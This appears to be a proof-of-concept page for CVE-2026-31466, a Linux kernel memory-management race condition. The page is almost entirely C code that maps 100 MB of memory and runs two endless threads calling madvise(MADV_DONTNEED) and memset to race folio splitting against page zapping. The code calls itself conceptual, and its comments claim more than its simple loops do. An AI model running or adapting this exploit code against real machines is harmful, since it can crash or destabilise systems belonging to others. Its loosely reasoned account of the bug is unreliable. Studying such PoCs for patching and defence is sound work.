CVE-2026-31466 Linux内核内存管理竞态条件漏洞

/* * PoC for CVE-2026-31466 * Concept: Trigger race condition between folio split and zap. * Note: This is a conceptual PoC to stress the memory management subsystem. * Successful exploitation requires precise timing and kernel configuration. */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <pthread.h> #include <string.h> #define MEM_SIZE (1024 * 1024 * 100) // 100 MB void *thread_split(void *arg) { // Simulate operations that might trigger deferred_split_scan // In real scenarios, memory pressure triggers this, but we can try // to manipulate huge pages via madvise. char *mem = (char *)arg; while (1) { // MADV_DONTNEED can trigger zap operations madvise(mem, MEM_SIZE, MADV_DONTNEED); usleep(1); } return NULL; } void *thread_zap(void *arg) { char *mem = (char *)arg; while (1) { // Access and hint to kernel to manipulate pages memset(mem, 0x41, 4096); madvise(mem, 4096, MADV_DONTNEED); usleep(1); } return NULL; } int main() { // Allocate memory with Transparent Huge Pages (THP) likely enabled char *mem = mmap(NULL, MEM_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mem == MAP_FAILED) { perror("mmap"); return 1; } // Touch memory to allocate pages memset(mem, 0x42, MEM_SIZE); printf("Starting race condition threads for CVE-2026-31466...\n"); pthread_t t1, t2; pthread_create(&t1, NULL, thread_split, mem); pthread_create(&t2, NULL, thread_zap, mem); pthread_join(t1, NULL); pthread_join(t2, NULL); munmap(mem, MEM_SIZE); return 0; }